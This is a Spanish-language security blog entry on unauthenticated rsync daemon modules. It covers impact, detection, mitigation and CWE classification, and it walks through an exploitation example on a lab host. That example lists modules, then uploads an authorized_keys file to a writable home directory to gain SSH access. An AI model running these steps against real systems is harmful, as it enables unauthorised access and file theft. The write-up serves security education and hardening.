cd ~/blog

~/vulns/rsync-anonymous-access.md

rsync Anonymous Access

misc 18-06-2026
rsyncenumerationLinux

~2 min de lectura


1. Descripción técnica del ataque

rsync puede ejecutarse como demonio (puerto 873/TCP) exponiendo módulos (directorios compartidos) para sincronización de archivos por red. Cuando un módulo se configura sin autenticación (o con credenciales débiles) y con permisos amplios, un atacante remoto puede:

  • Listar los módulos disponibles y su contenido.
  • Descargar archivos sensibles (claves SSH, configuraciones, datos).
  • Subir archivos si el módulo permite escritura (read only = no), lo que se aprovecha típicamente para colocar un authorized_keys en el home de un usuario y obtener acceso por SSH.

No es un fallo del binario, sino una mala configuración del demonio rsync que expone datos o escritura a clientes no autenticados.

2. Impacto de la vulnerabilidad

  • Lectura de archivos sensibles del sistema (acceso inicial / fuga de información).
  • Escritura arbitraria en rutas expuestas → acceso por SSH (vía authorized_keys) o sobrescritura de archivos.
  • A menudo el módulo mapea el home de un usuario, lo que facilita directamente la entrada.

3. Historia y evolución

  • El demonio rsync existe desde hace décadas y sigue usándose para backups y mirrors.
  • La exposición de módulos sin autenticación es un hallazgo recurrente en pentesting y CTFs, especialmente cuando el módulo apunta a un home con read only = no.

4. Factores que la hacen posible

  1. El demonio rsync accesible en el puerto 873.
  2. Un módulo sin autenticación (sin auth users / secrets file) o con credenciales débiles.
  3. Permisos de lectura/escritura sobre rutas sensibles (home de usuario, configuraciones).

5. Detección

nmap -sCV -p873 target          # rsync (protocol version 31)

# Listar módulos
rsync rsync://target/

# Listar contenido de un módulo
rsync rsync://target/share/

6. Mitigación

  1. Requerir autenticación (auth users + secrets file) en cada módulo.
  2. Configurar los módulos como read only = true salvo necesidad.
  3. Restringir por IP (hosts allow) y no exponer rsync a redes no confiables.
  4. Limitar las rutas expuestas a directorios no sensibles.

7. Ejemplo de explotación real

Listamos módulos, comprobamos escritura y subimos un authorized_keys para entrar por SSH:

 rsync rsync://192.168.1.62/
share          	wally (home)

 rsync rsync://192.168.1.62/share/
drwx------          4.096 2025/02/13 21:24:04 .
-r--------             33 2024/07/11 11:34:21 user.txt
...

# El módulo permite escritura → subimos nuestra clave
 rsync -av --mkpath .ssh/ rsync://192.168.1.62/share/.ssh

 ssh wally@192.168.1.62 -i rsync/.ssh/id_rsa
wally@send:~$

8. Clasificación

  • Tipo: Security Misconfiguration / Information Disclosure / Arbitrary File Write
  • CWE:
    • CWE-306 – Missing Authentication for Critical Function
    • CWE-732 – Incorrect Permission Assignment for Critical Resource

9. Resumen

Un demonio rsync con módulos sin autenticación permite leer y, a menudo, escribir archivos en rutas sensibles; el vector clásico es subir un authorized_keys al home de un usuario para entrar por SSH. La defensa es exigir autenticación, usar read only y restringir por IP. Relacionado con NFS no_root_squash Privesc como abuso de servicios de archivos compartidos.

// relacionados